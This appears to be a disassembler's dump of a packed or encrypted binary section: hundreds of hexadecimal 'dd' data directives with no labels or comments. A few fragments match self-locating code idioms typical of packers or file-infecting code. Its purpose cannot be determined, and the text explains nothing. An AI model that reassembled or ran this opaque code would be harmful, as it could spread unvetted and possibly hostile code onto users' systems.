		dd 8B6607E0h, 0E6FF61FAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0E8C35545h, 417438F5h, 20659D8Bh, 0C18B07E0h
		dd 94A70CEBh, 0AF805F00h, 0BB950994h, 0D0E919F1h, 0E9000005h
		dd 5C4h, 3F5913FBh, 0B4CE866Dh,	2B45FDE2h, 9EB87059h, 1630EACCh
		dd 412318C1h, 0B79B6D87h, 2E11E3FDh, 0A48A5C76h, 5F0D0EAh
		dd 0D302CFE2h, 9B35A721h, 5109ECC6h, 0B16B514Bh, 13CBAEACh
		dd 722C100Eh, 8A9D815Bh, 654ABE20h, 0C0C5703Ah,	1376C3C9h
		dd 6F0437E7h, 0BCC2BE5Dh, 33CDE0C2h, 31DE4BEAh,	0FBF9FEA9h
		dd 6E485F19h, 7AC7CD85h, 0D6DB937Ch, 91B79973h,	0BA59436Eh
		dd 3DE83B29h, 0A0583D37h, 0FEB69D9Bh, 0C07FA1F9h, 0F78186A9h
		dd 0A6F92E5Ch
		dd 6BEA3A1h, 248DB0EFh,	5A21D2CBh, 0CD9F0107h, 0E42B30E8h
		dd 696A5FE8h, 0DEE39D83h, 3D42FCE0h, 0F53895CAh, 8D4499CEh
		dd 1A986061h, 0A85A65EFh, 70107BFh, 19506A22h, 9DA25A3Fh
		dd 0C44CA0A6h, 0DE2D5067h, 54CF4D92h, 1BEEA01h,	460D3BE3h
		dd 2927747Ah, 0A2748E46h, 0C4F007BFh, 1F2DEF33h, 2D7A80C9h
		dd 0CFB18BCAh, 79971A15h, 8CDFD0D2h, 0E1094386h, 102FCEDDh
		dd 39EF17E4h, 0C414CD2Ah, 93F43B2h, 3787E87h, 55795CAEh
		dd 25C97F32h, 0F9A4F7D3h, 0CE6DB3DFh, 0BA9E78B7h, 74E1FC00h
		dd 4A1145CFh, 0A0FD0144h, 217BD7C5h, 0C3DA853Fh, 8F224584h
		dd 0E7D845A2h, 0A3189994h, 9F5ED845h, 45A3357Ch, 43EE41D8h
		dd 4A9F03Dh, 39D845A3h,	0F9257BD8h, 12054014h, 7, 352FB5Ch
		dd 2B910000h, 0ECA48948h, 0ADD93C41h, 0D8B3BB7Bh, 81305332h
		dd 0FD29BA22h, 0FFF9FFAAh, 315D621Ah, 0E6C91370h, 3DD142Eh
		dd 665D621Ah, 0C4836660h, 787D28E2h, 0A9DE3A02h, 0E0C39D54h
		dd 7B803821h, 0D6D4D984h, 868C37EFh, 0D7F1A98Ch, 63682005h
		dd 0BFC47C65h, 0F5479CC9h, 2415810h, 2311A0C3h,	1A6D29BAh
		dd 0BA22921Fh, 9399EC29h, 7DC1631h, 65476085h, 0DBBF91ABh
		dd 30DE0A21h, 7D3457A3h, 0F9E07AC8h, 2F81A2A6h,	6C712B0Dh
		dd 77C4CA75h, 0D6DB9579h, 383DF5D8h, 0ED9F573Ah, 564C510Bh
		dd 6289D429h, 0A286D02Dh, 5897CEE8h, 0E8E39B7Eh, 0E07B50C9h
		dd 393EF8DAh, 12186B42h, 0A6E8h, 4BD17E00h, 604302E5h
		dd 1ACA3A8h, 555A05FCh,	9DB77157h, 292EE6CBh, 0BAA0CFE2h
		dd 4AA7D429h, 49631B00h, 0D4D99377h, 3136F0D6h,	0E23489BEh
		dd 9F593DFEh, 0FF1A39Ah, 0BE90AA55h, 0B81B20DAh, 35190B8Ch
		dd 646A8239h, 3F62886Ah, 29BA2B72h, 90EB90Ch, 656A220Bh
		dd 0C6CB8567h, 7B5EB176h, 0EAD02247h, 0EB95D835h, 5F17FAD4h
		dd 0E85D635Ah, 9C5D418Bh, 5FC01B9h, 8C6E405Ah, 6457CDD2h
		dd 0D11B78B5h, 0E41B35EFh, 2AE2CBA5h, 7E332E25h, 0F829BA32h
		dd 0C2A59FA5h, 0F0BE050Ah, 7629BA32h, 371A6CC1h, 0C66B657Fh
		dd 464B03ECh, 6C4F494Fh, 0CEB1AFB4h, 2A131116h,	8A6F6D72h
		dd 812CE4CBh, 76CB147Ch, 69C60F2Bh, 6A843C1Fh, 0BE765933h
		dd 0A57575B8h, 591729BAh, 5434E22Eh, 0FFFF2147h, 4FD191FFh
		dd 779AD9F0h, 29BAA13Ah, 8CEBF144h, 5AA53169h, 0AFB4072Eh
		dd 0D58D724Ch, 4027D9D0h, 868C8388h, 0D2ECA68Ch, 29726F9Bh
		dd 0EDB7EA4Ch, 4D07EDE7h, 0A9614A48h, 6C0A6A4h,	67210301h
		dd 267B3062h, 227FB4DBh, 7D674773h, 8F934D31h, 3137F7A0h
		dd 7D975137h, 60BC5ABh,	0DA32EFBFh, 11C9AE21h, 6D250E0Ch
		dd 63C0F568h, 767B3519h, 85B8D47Fh, 70CC4ABh, 38950A10h
		dd 344E08EEh, 833D23FDh, 8781877Eh, 0DCBC8EA1h,	6B382FC6h
		dd 0CEC5CA82h, 10737823h, 0CE0D90E4h, 0A557F474h, 0B0040AC2h
		dd 1ED8BC60h, 60772219h, 13B3FE21h, 71CB21DAh, 0DAD1D68Eh
		dd 0A7CA292Fh, 2679F357h, 48748EE1h, 21445BD8h,	2E5C92CEh
		dd 0E8C2D92Ch, 51484D05h, 0FC01BB9Fh, 0B4B2FF05h, 2DFF19D1h
		dd 468D924Ah, 696B0486h, 8BDD32F3h, 4D6F0A8h, 0CE2E0D20h
		dd 0A7842058h, 535810F5h, 0AEACB15Ch, 100E13CBh, 0A6D722Ch
		dd 0AAB4CAE7h, 0AF61B4CAh, 0A20A0FC9h, 2A4D0459h, 0CAAAB487h
		dd 0E1F19CEFh, 35742380h, 0AAB49F12h, 601AFCCAh, 2A303689h
		dd 0B3B06FCh, 7B17h, 442B6100h,	0BBA0728Ch, 2E17E903h
		dd 0A88A5C76h, 2002D4EEh, 967A4C66h, 0DF0C2DCh,	83693B55h
		dd 4C78AFC9h, 0C0E81656h, 20DAC07Eh, 93756F75h,	0DDC8D4D9h
		dd 5D621A03h, 15136066h, 845E752Fh, 0EAE1E6A0h,	74A197E4h
		dd 95D4BF1Fh, 161CD4BBh, 0BA99DED3h, 9A7E5829h,	0DEE4DBE0h
		dd 80526CBFh, 4821E199h, 6A220BE5h, 3E686E65h, 63h, 367EEDD4h
		dd 7929BAA1h, 1E60F74Ch, 758C442Bh, 835CFB49h, 0A5ABEB1Ch
		dd 0D48C7143h, 47FFE8BAh, 0BF795B2Dh, 6B4669A8h, 1329BA0Ch
		dd 2158BAC0h, 3180A3E2h, 4D29BA0Ch, 0BB2FFFAh, 79CC29BAh
		dd 0DD977973h, 530DF1C3h, 0CC846739h, 40FAE0B2h, 2E15EF26h
		dd 23DBC476h, 0F721271Eh, 3, 2B66248Dh,	86848943h, 0E3E1E6A0h
		dd 45434800h, 0A4A2A761h, 50308C2h, 66646923h, 0C2C0C57Dh
		dd 222025DDh, 6D7E833Bh, 81E78957h, 4C7h, 4EF8300h, 8B243C87h
		dd 18682424h, 89000078h, 8951240Ch, 4C181E1h, 81000000h
		dd 4E9h, 240C8700h, 243C895Ch, 65A46856h, 0C15E557Eh, 464E03EEh
		dd 2DE4EE81h, 0F18902C8h, 8324348Bh, 0EC8304C4h, 24248904h
		dd 4240483h, 26C1685Fh,	0C890000h, 8478F24h, 52243C8Bh
		dd 0C281E289h, 4, 8704C283h, 0FF5C2414h, 81592434h, 4C4h
		dd 0DC49E900h, 0AA33FFF8h, 0E7A410B8h, 8BC50307h, 3BE9D3h
		dd 8B600000h, 0E0084DBDh, 4EF8307h, 0C18BC933h,	0B88320BBh
		dd 4C783EDh, 8BEh, 1BE8D100h, 33D323D2h, 850F4EC2h, 0FFFFFFF1h
		dd 81078941h, 100F9h, 0D3820F00h, 61FFFFFFh, 8DC88BC3h
		dd 0E01E259Dh, 1778B807h, 85890000h, 7E00811h, 0E8h, 0D055800h
		dd 89000000h, 1778E903h, 5DEh dup(0)
		dd 8D8D0000h, 7E7BD3Bh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 7CC35141h, 0B52740F3h, 8B836E95h, 0E001A59Dh
		dd 0A2F78107h, 894FEA4Ch, 0E018158Dh, 0ED9D8907h, 0C707E005h
		dd 0E0204985h, 5F0407h,	0D5852B00h, 0C707E020h,	0E022C585h
		dd 7, 31D88B00h, 0E028DD8Dh, 5DB5FF07h,	6A07E008h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 4967C350h, 0F18AA68Bh, 209195FFh, 6A07E0h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 336993C3h
		dd 8CF1AFD0h, 0BD89D0F3h, 7E001DDh, 95FF006Ah, 7E018A9h
		dd 1FEBC08Bh, 0F152AE9Dh, 4E1E89F9h, 61B60FAAh,	99ECAA2Dh
		dd 0D5A8F051h, 37A2C50Ch, 0FF39F9C1h, 0E90E7143h, 2Ah
		dd 2404C7h, 0E8000000h,	0
		dd 70ED815Dh, 8B07E7BDh, 89042444h, 0E0005D85h,	0B807h
		dd 8D8D0000h, 7E04EE8h,	54B8E1FFh, 8D000067h, 0E7BE2C8Dh
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 89A40C7Eh, 0E018158Dh, 55006A07h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 299B5921h, 85C7F78Bh, 7E02049h, 7098h, 98C0Fh, 0F600000h
		dd 8Fh,	0C761FC00h, 0E022C585h,	7, 85B58B00h, 0FF07E031h
		dd 0E012ADB5h, 75BD8B07h, 8907E01Bh, 0E02651B5h, 9195FF07h
		dd 8907E020h, 0E01A79BDh, 0FF006A07h, 0E018A995h, 0EBC08B07h
		dd 47F0761Ch, 0B1417EB9h, 0E2D339A5h, 0E2A3C76Ch, 5E93BDCh
		dd 1CF9EA23h, 235BF286h, 5E8E0h, 0CCDE0000h, 8B3E1EF9h
		dd 0E01B758Dh, 0BD015A07h, 7E00201h, 6CE4C281h,	0BD8B0000h
		dd 7E02631h, 2A5069B8h,	65F0810Eh, 0FC0E2A4Bh, 0DB8032FFh
		dd 8B515EEEh, 0C6815BF8h, 241DBC4Fh, 65B58950h,	5907E022h
		dd 14D2C681h, 8B603AFAh, 0E02DE185h, 0D68B6607h, 56C68161h
		dd 8B6D7A39h, 0E02F818Dh, 8B328907h, 0E01471BDh, 30EA8107h
		dd 0F65FC72h, 0C281FFBFh, 65FC722Ch, 48CBB70Fh,	15850Fh
		dd 0F9500000h, 30E95Bh,	5B20000h, 544DECBEh, 6AE8D7D1h
		dd 0F7902A1h, 68Bh, 619D0300h, 0E907E022h, 0FFFFFF84h
		dd 38D2D02h, 0D62682E6h, 91082AB6h, 0E4C6DE9Ah,	0ED55B248h
		dd 7A5E75FDh, 69A476F6h, 49BC56E6h, 264191FDh, 266FF7FDh
		dd 267834FDh, 26F1AAFDh, 263484FDh, 26D772FDh, 26A65BFDh
		dd 261E38FDh, 264217FDh, 266F52FDh, 26782BFDh, 26F38CFDh
		dd 2635E9FDh, 26D7CEFDh, 26A6ABFDh, 261C57FDh, 2641BBFDh
		dd 8A259DFDh, 0A2229535h, 714A76D6h, 4BBD5CDEh,	7A5A5CF4h
		dd 722775FDh, 799775F5h, 78CB74FDh, 7DED73FDh, 7BF374F5h
		dd 7B7874FCh, 7ABC75FCh, 7A5E75FDh, 0E37876FDh,	0E0F975A6h
		dd 7ACB75A6h, 7BE475FDh, 7BF374FCh, 0B29074FCh,	1ABC75F8h
		dd 0B97CF070h, 0FFA6721Ah, 7D70CAA4h, 0B9F3F070h, 0FF6C721Ah
		dd 7D15CAE4h, 0B90FF070h, 0FF35721Ah, 7DB9CAA8h, 0B8F9F070h
		dd 0FF1E721Ah, 7D2CCAE0h, 0B870F070h, 0FF7B721Ah, 7D9ECADCh
		dd 0BB8FF070h, 0FFD7721Ah, 7DC8CAD8h, 0BBD2F070h, 0FF42721Ah
		dd 7D02CAD4h, 0BBA9F070h, 0FFF0721Ah, 7D5BCAD0h, 0BBE8F070h
		dd 0FFA6721Ah, 7D70CAC4h, 0BB49F070h, 0FF6C721Ah, 7D15CACCh
		dd 0BBD8F070h, 0FF35721Ah, 7DB9CAC8h, 0BB99F070h, 0FF1E721Ah
		dd 7D2CCAC4h, 0BB15F070h, 0FF7B721Ah, 7D9ECAB4h, 0B8B3F070h
		dd 0FFD7721Ah, 7DC8CAB0h, 0B8A5F070h, 0FF42721Ah, 7D02CAACh
		dd 0B889F070h, 0FFF0721Ah, 7D5BCAC0h, 0B8ECF070h, 0FFA6721Ah
		dd 7D70CABCh, 0B986F070h, 0FF6C721Ah, 7D15CAB8h, 5570F076h
		dd 0FF35721Dh, 7DB9CA6Fh, 5C12F076h, 0FF1E721Dh, 7D2CCA6Bh
		dd 0F1B0B69Ch, 7AF29D11h, 0FB2375FDh, 9D7CD317h, 3FD525FAh
		dd 0EBADFDF5h, 22909242h, 7ACFB734h, 29B723ACh,	7A1A20ADh
		dd 277975FDh, 0BA7B987Ch, 0FFA0721Ah, 7DC8CAE5h, 0C58FC87Dh
		dd 9CF721Ah, 75E4C5B4h,	0BAF9B54Bh, 0EF863589h,	7D5BCA6Bh
		dd 2B96FEBDh, 7A2F7A45h, 0EC028AFDh, 0F7CC9242h, 9D5A6C48h
		dd 0FCC6F8FAh, 7E4B9D50h, 6FCF75FDh, 7A5E7645h,	0ECBA8AFDh
		dd 0F7909242h, 9D746C48h, 0FCD1F8FAh, 23228A50h, 0F787BC1Fh
		dd 7D5BCAE5h, 20052DA0h, 92EC2CA3h, 7A97776Dh, 79C1CD4Dh
		dd 0E8708A57h, 0D1F59242h, 78079D3Eh, 0C2DA75FDh, 5954CD9Bh
		dd 0EFD0DE9Bh, 7D70CA6Fh, 9208DE9Bh, 7AE57795h,	72F3360Bh
		dd 0EF866E88h, 7D5BCA6Fh, 7954C54Dh, 0E8BA8AADh, 20909242h
		dd 7E2BF69Bh, 1C277E9Bh, 6B1AB656h, 297975FFh, 7ABE4E15h
		dd 0A0652FFDh, 59A57B89h, 7094913Dh, 0BA07F5DFh, 0D183FE4Dh
		dd 7B009D3Eh, 922A75FDh, 7ABC77E1h, 0E844EA7h, 0D049C512h
		dd 0A77FA916h, 8CCB75FCh, 0FED74BEh, 7B1A26D3h,	207975FFh
		dd 72BD360Bh, 0A0655488h, 59A56889h, 7094913Dh,	0BA07F5DFh
		dd 85B5FF4Dh, 9D4DE768h, 5F1F2FFAh, 71DA51FDh, 0B9F5133Fh
		dd 9285E94Dh, 7A9774BDh, 9261F44Dh, 7AE57435h, 7AF22D15h
		dd 5791DEFDh, 0CABC75FCh, 0CA9DDF60h, 5BC7DF61h, 1C9775FCh
		dd 1C4A1345h, 7B439D56h, 4C1A75FDh, 1C7975FDh, 7BB69D56h
		dd 0E7EE75FDh, 0E69FB657h, 7A699D57h, 0F32375FDh, 8CE575FCh
		dd 0FFA74BEh, 0D0F9C5F2h, 7ABC6515h, 9EDEDFFDh,	84487DF9h
		dd 7A97AA15h, 0D056C5FDh, 7AE2CD3Eh, 0EF0D75FDh, 7D9ECA6Bh
		dd 0C5E1C070h, 8A5D721Ah, 0D02C7F51h, 0C505E002h, 9208721Ah
		dd 7AE574E5h, 79F8254Dh, 844B9D57h, 43548A02h, 0CA5E75FCh
		dd 0D02C7FA5h, 0D0C7C53Eh, 9261274Dh, 851A8BE1h, 4BFDCD9Bh
		dd 6B91DE9Bh, 0CA438A03h, 22EEDFA7h, 929FB657h,	923C2257h
		dd 7ACB750Ch, 5122FEA7h, 7E1AF63Fh, 8B917774h, 92438A00h
		dd 7A5E7505h, 79252D4Dh, 0FF69B657h, 7D2CCAF2h,	0C5EAC87Dh
		dd 0FF3721Ah, 0FBFCF8ECh, 2ABB9242h, 7A5C6115h,	781B9DFDh
		dd 1A2775FDh, 87759D57h, 0C30D8A02h, 0CA0D8A00h, 0F787DF9Ch
		dd 7D5BCAF2h, 0C551C87Dh, 0F2F721Ah, 0FB12F8F1h, 2ACC9242h
		dd 7AE4DE15h, 7E4AB6FDh, 857975FDh, 9D03E368h, 0A4C3F8FAh
		dd 0F028923Eh, 0B93D6DF9h, 2D619C4Dh, 7A8E9D56h, 0F1A875FDh
		dd 0F9BB5E3Ah, 78357115h, 0E8CB8A3Eh, 0CE289242h, 0E96514Ah
		dd 0CA74C1FFh, 924E13F2h, 7AF275C9h, 7A279DAEh,	0F0E675FDh
		dd 79BEB5FEh, 7825B5F1h, 0EF68B657h, 7D2CCA6Fh,	0FAEA917Dh
		dd 7542F539h, 0D12EDE9Bh, 85415A15h, 0BDD52F02h, 92ACB7D6h
		dd 0B995FCF9h, 7ACB7345h, 0EC708AFDh, 0F7F59242h, 9DC60060h
		dd 39A0F8FAh, 7A4ECD3Eh, 0EFD075FDh, 7D70CA6Bh,	0F1CEB57Eh
		dd 0EF1A8935h, 7D15CA6Fh, 0B98E9757h, 8543BE15h, 7B1DFF02h
		dd 8E5A72D9h, 6C7F7677h, 8CB75FCh, 831DB616h, 0F1A78908h
		dd 86BDF611h, 7ABC9D9Dh, 0FB0475FDh, 9DEC9B17h,	86EAFCFAh
		dd 0C55ACF7Dh, 75E5721Ah, 7AF2EC79h, 7A73CDFDh,	0E84375FDh
		dd 7DB9CA6Bh, 0E0ADFCBDh, 0F1909242h, 0B879F835h, 85E29239h
		dd 9D4DE76Fh, 3C7FFDFAh, 6D04801Fh, 795E75FDh, 9D90EF7Fh
		dd 0E01A35FAh, 7D2CB14Bh, 0F3E1B67Eh, 644B22FEh, 797975FDh
		dd 9D03EF77h, 0DEECF8FAh, 89289239h, 722F2B59h,	85CB75FDh
		dd 9D5AE36Fh, 7E0AF6FAh, 7C718589h, 7ABC7244h, 4B5A7DFDh
		dd 0BBF7C3F2h, 742E761Eh, 72CB75FDh, 765C44E1h,	72F275FDh
		dd 61C044F9h, 72BC75FDh, 66E744F9h, 722F75FDh, 5B7F44F9h
		dd 0F3348A01h, 0F1848980h, 0B93B8980h, 7A7F9DADh, 229C75FDh
		dd 8E7A1102h, 5E6BFCA5h, 3E16E905h, 2CB389D9h, 3A7867C9h
		dd 7AF2B6ADh, 7A7975FDh, 7ABC75FDh, 1AB2FEA8h, 7A2F7515h
		dd 90162FFDh, 7D2CB128h, 0C57BCF70h, 0F79721Ah,	7A71CCF5h
		dd 0DE4F75FDh, 7E9CBC9Ch, 0E7A226FDh, 7D70CA63h, 7BD3497Dh
		dd 83BE7188h, 82A97716h, 96F2203Eh, 7ABC9D9Dh, 0FB0475FDh
		dd 9DEA7B17h, 0E425F8FAh, 0F1CC9242h, 725C7D80h, 89F275FDh
		dd 0B8B01459h, 0F7DC75F9h, 9DE1EB40h, 0C3EF46FAh, 7A9775F5h
		dd 0B9AADF0Eh, 0E458F89Dh, 0FBF59242h, 7B7874C2h, 0FBB000FCh
		dd 7B5F7182h, 795A74FCh, 82969E04h, 0F7ABB69Ch,	9D5AEB40h
		dd 7AF3CDFAh, 72C075FDh, 89BC75FDh, 0F19D1457h
		dd 0F7EFFE3Dh, 9D28DE78h, 8BD08AFAh, 0EE8CAh, 61290000h
		dd 44A0E49Eh, 89E25E7Ch, 0CDD92991h, 8D0F60h, 0E9000000h
		dd 0Fh,	2A9569DDh, 0E5B396D5h, 0DE88D87Bh, 61ECE0E4h, 0EC80575Ah
		dd 0C2815B63h, 0EB1Ch, 0EE9h, 0E58CA300h, 698F4CBEh, 16B7BA17h
		dd 0B98A2C1Fh, 3A95h, 0CCB80FBEh, 5F32FF23h, 7E9h, 37D00B00h
		dd 0E769FF5Fh, 6C2DC781h, 0EB81081Ch, 558B0926h, 0BB1BEF81h
		dd 12E863C1h, 0AA000000h, 0F0367D3Ch, 0F87C1E87h, 0CD5C865Eh
		dd 290DBA75h, 9B8664Dh,	0C7815872h, 2CCFC56Fh, 57DFBF0Fh
		dd 69F9BB66h, 0B70F028Fh, 0F1EA81DFh, 6672D82Dh, 0C281F78Bh
		dd 72D82DEDh, 80B8D681h, 0E98113DEh, 1,	0FF8F850Fh, 0F60FFFFh
		dd 0B70FD7BFh, 1EE961C3h, 45000000h, 31B362h, 6	dup(0)
		dd 0E0BE900h, 8B680000h, 0E907E7C8h, 0FFF8BA5Bh, 0E7C99168h
		dd 0BA51E907h, 6368FFF8h, 0E907E7CAh, 0FFF8BA47h, 0E7CAF568h
		dd 0BA3DE907h, 7168FFF8h, 0E907E7CEh, 0FFF8BA33h, 0E7D1B968h
		dd 0BA29E907h, 0C668FFF8h, 0E907E7D2h, 0FFF8BA1Fh, 2B45FFE7h
		dd 0A0BA7259h, 1731E9CEh, 8AA45C45h, 21CD6B8h, 2D0F04ADh
		dd 0A3875973h, 1AFDCFE9h, 90764862h, 0F1DCBCD6h, 0D2DAE3CEh
		dd 8F299B21h, 8A8F492Bh, 0D7F1A98Ch, 29E1C6A0h,	0E241CF23h
		dd 0BD6EA8CBh, 75C82E5Ah, 84842970h, 58B921DAh,	0FA79A5FBh
		dd 8BB753D4h, 1A8FE4h, 0F97D832Dh, 35h,	0F04FD143h, 8E0CB6D9h
		dd 38922E5Ah, 0EBF09B53h, 0DA7209A4h, 7ED33421h, 50899BC7h
		dd 0A5C2E2B5h, 0D96D999Fh, 7FAB53D4h, 12FBCDC3h, 0B8F95F6h
		dd 7, 908FB55h,	0C6910000h, 0A14D6487h,	0CF2929BAh, 342B30E8h
		dd 0A3898389h, 0E6E4E9h, 10002C46h, 25D9FC13h, 332E5AA7h
		dd 353AF2D9h, 2B8E933Eh, 50CB66FFh, 0DD8FCD38h,	443B40F8h
		dd 8DB2FB3Eh, 2A8B21DAh, 0F54B77D5h, 2C6453D4h,	0AE000000h
		dd 0D9F04FD1h, 5AA03CB6h, 6A6FC22Eh, 0DA9F8A23h, 0FD52B321h
		dd 0D4EB639Fh, 0EED7B153h, 8D924A2Fh, 0EFE6EB96h, 11265E9h
		dd 0C6AF0000h, 0A14D6487h, 654E29BAh, 7D83D6ADh, 0F5DC9D83h
		dd 2A8D923Dh, 0DE84FEh,	255E621Ch, 0DA4A889h, 25743A4h
		dd 6E504A50h, 204CAFB4h, 4178484Eh, 3016C817h, 747A7176h
		dd 0C3DA947Ah, 464C04E9h, 0D5BC96F9h, 371D171Dh, 8548637Dh
		dd 1629BA4Ah, 8A5C7630h, 3BFAE3A4h, 0A2999E56h,	0EF474CF7h
		dd 0C8EB0221h, 2E5A21FAh, 0CFE20544h, 0A721DA21h, 702F4E54h
		dd 0DA22644Dh, 0FAB7DA21h, 8421DA21h, 3075A31h,	0AD9AC0B4h
		dd 536D1835h, 233AF927h, 0A8AD6749h, 294CABB1h,	2677A026h
		dd 0EB2A4194h, 5F8EF7BFh, 7D83997Ch, 0CDE7A183h, 865F19FBh
		dd 0E60E6B8Ah, 4C88B69Fh, 0B600000Bh, 28FA14CEh, 9D6F8941h
		dd 14E600B8h, 8759732Bh, 7CD1EBA5h, 42FCDE53h, 0B8725628h
		dd 31E9CC9Eh, 0A55F4517h, 9DC0AB8Bh, 21D2D914h,	2B5EF86Ah
		dd 0EBA38849h, 6B2796E6h, 73606061h, 0DA061DC8h, 5781F7EFh
		dd 68CAD03Ch, 3E9DB096h, 95B56807h, 8D87A14Ch, 7C8D9AC6h
		dd 0B2142D9Fh, 6BC858ACh, 0B3D61554h, 29BA44FEh, 0EB0E2578h
		dd 29BA44C6h, 14575DB0h, 2E5A43DEh, 79C0C518h, 21DA4434h
		dd 9C4BA809h, 93B6DCC2h, 21DA441Eh, 545A0558h, 0D4B7104Eh
		dd 0C03B53h, 2B850000h,	88868B45h, 0A0E7ECA6h, 29BAA52Dh
		dd 688C6F49h, 0BA9D6C45h, 14BF1229h, 742E140Eh,	0E8A2885Ah
		dd 5C14F7D1h, 0A85E9E58h, 979D7A0Ah, 112EF24Ah,	823C20FAh
		dd 2180867Dh, 59C5C4FEh, 0CDE73A2Eh, 19DABC96h,	81787D37h
		dd 947CD0D6h, 15D8097h,	7726777Dh, 51330D24h, 0C9AB7D97h
		dd 2D40360Fh, 7059E60Eh, 0A4642h, 1AD4BC00h, 8F472E00h
		dd 6BEA375h, 79311AECh,	0F1AB8D5Fh, 0E45982D7h,	5C2E4802h
		dd 0D2A4BE78h, 4B1D37EFh, 0B191AB65h, 0D80EA3C6h, 0F66821D2h
		dd 23492B5Ch, 0A0F0C1E4h, 338629BAh, 0BAA07938h, 0AEB20529h
		dd 677662CCh, 0F50FBA8Bh, 9A7C3D23h, 39E4DBE0h,	452B251Fh
		dd 0B59A748Bh, 0D0F99EA4h, 8C378FA0h, 3D8A9087h, 621C00DAh
		dd 0C27C625Ch, 0A8F25EA8h, 65A4BB78h, 0DC465F39h, 0B9EAF8B9h
		dd 272B7E29h, 8086DB01h, 5A0D293Dh, 570C5F2Eh, 9EF37C70h
		dd 0D453BD78h, 0DA009ABDh, 23768034h, 898FBB1Eh, 992AA5DCh
		dd 0BD63B7BDh, 9144677Eh, 0F584947Dh, 0CBB18BA2h, 81C0F711h
		dd 9483535Eh, 0D2D82B7Bh, 5F38F2D8h, 9432296Fh,	7475A38Ch
		dd 8E000009h, 0D2ECA6h,	75476119h, 0ECBED890h, 5F314B03h
		dd 54A9C37Dh, 1AD4B66Bh, 904A2E00h, 9C1A476h, 7D371DEFh
		dd 75988363h, 21D2D73Ch, 2B36D042h, 2E868B45h, 0A35B3EE2h
		dd 921C4E9Eh, 89DBF626h, 0F91C33DEh, 2E5A8A39h,	4800E53Fh
		dd 8AA14C43h, 0FB15CDB0h, 898E4629h, 0DA826F42h, 91CAE321h
		dd 0A97721DAh, 91B6FB1Eh, 1E521DAh, 721D7047h, 951A385Bh
		dd 51A4267Ah, 82C50E3Ah, 2BF9DEFh, 0CBB1AFFCh, 7A5E3811h
		dd 866FE60Ch, 8E258h, 7E382000h, 0F3AB9264h, 6A2207D9h
		dd 0DD957E50h, 550FF1C3h, 48FDE63Bh, 0C092AC66h, 360822DCh
		dd 0AF819B53h, 15F50FC9h, 0D6AA072Ah, 62D421D2h, 0AECC6C8h
		dd 3D544B50h, 0BAA0971Ah, 868CDF29h, 3A51EE32h,	5AA43B17h
		dd 5B72C52Eh, 0DBE09881h, 9391DEE4h, 3DDF4ACh, 6A61661Eh
		dd 49300264h, 0EA298C91h, 0DA9CEAC7h, 18D0B921h, 0F2451C13h
		dd 0AD8A98ECh, 9D167396h, 0BD1021DAh, 7FABC2B8h, 26F805CEh
		dd 0FE73791Bh, 0B87057A1h, 3C2A839Eh, 320C21DAh, 9B92974Fh
		dd 57DD4195h, 0BBB2B771h, 0BFD6F910h, 0B721DA3Bh, 39134A64h
		dd 7EB9D57h, 4B51484Dh,	9BB26A51h, 1D71216Fh, 87398AB6h
		dd 94E1E7A1h, 0D9A6784Dh, 752F1321h, 0D78F7270h, 37EFD4D2h
		dd 0F6399657h, 78C21F4Ch, 88BFD991h, 0F70EC8AEh, 0D9A5DDD4h
		dd 40469921h, 0A2A75F46h, 0D9A6025Bh, 0FF548121h, 0F40EC6ADh
		dd 4DD991BDh, 0C728BE1h, 0CF6CB206h, 40FADEB8h,	0DF3E443Bh
		dd 733E61A0h, 0B21D9B7h, 3F6FB2B8h, 3921D9B7h, 0BC9AE1E6h
		dd 155FADAh, 0B1ED43A0h, 0DA27B568h, 1E1h, 0F04FD124h
		dd 0C46E9AD9h, 65B7EE8Ah, 1991D4DAh, 4F2E598Ah,	83A6E5FCh
		dd 21D9CA2Eh, 4F07EE48h, 3F9EA4h, 80324326h, 1163BAA5h
		dd 7F767B26h, 0DF997F79h, 55F79CC8h, 0F02BA729h, 9CA25C3Eh
		dd 0C882683Ah, 38F0D7B1h, 5682E532h, 775D4861h,	2623B9BDh
		dd 341B5E64h, 0E7A71B9Eh, 45434800h, 0A99FA45Ch, 0B5DC277Ch
		dd 0F3D92380h, 466B8ECDh, 30A913E1h, 0E0CFE2DDh, 54A7A913h
		dd 7E588FA9h, 8ADADF97h, 32353B0Bh, 0A4AA558Bh,	0F30AC4AAh
		dd 787E3619h, 0F04FD32Bh, 0F71B04D6h, 1427DDD4h, 944699A9h
		dd 484DF8B2h, 90AA644Ah, 191ED8BEh, 899B0DD2h, 6BC8FDDAh
		dd 67813B21h, 0F0F5AF95h, 96AD8A98h, 8DD53E73h,	0CEE53837h
		dd 50550DF4h, 0BAF15359h, 1BBA17Bh, 8DD4AB06h, 7A80D337h
		dd 0DFE49E80h, 971A3D7Ch, 0DF378DD4h, 0EC32868Ch, 0CDF9384Fh
		dd 8A9EE594h, 0B4F7FD3Bh, 378E6F01h, 8B452B85h,	0EF4C6E0h
		dd 6F514F54h, 0CBB2B0B5h, 2E100E13h, 8C716F74h,	0E439EED4h
		dd 99D8EF99h, 8E6F3B76h, 0EAF04337h, 0E8CE1875h, 5C42142Eh
		dd 0D9459DA2h, 0C7B07153h, 68130A0Fh, 0E7CCA6BDh, 0A7CA292Fh
		dd 378E6F12h, 2802196Ch, 25878D45h, 0AEB36D53h,	2A0ECDB0h
		dd 0C9746B70h, 20DFC6C4h, 0D5DA853Dh, 353AF2D7h, 9B9EF3E5h
		dd 694932DEh, 90AF4BA8h, 0E34AAEFCh, 0F1B2923Dh, 0A3644A9Ch
		dd 0ADFD02BAh, 80F1A439h, 0BD681336h, 31EBD1A3h, 0F14ED42Ch
		dd 96E6B7DAh, 5630378Eh, 90AFB56Dh, 6E51233Dh, 86609FB6h
		dd 0EBE2E79Fh, 8E96C1F0h, 646ABD37h, 0CD53BF17h, 8B4328E9h
		dd 39E4DBE0h, 4C58F622h, 0F9AF472h, 916BAA09h, 0A8EBF1ABh
		dd 378DCAF9h, 715A1945h, 0E73E5084h, 556FC2E1h,	8B452B5Bh
		dd 5CDB4571h, 840C2245h, 176A2E5Ah, 8B432600h, 0B9CC4874h
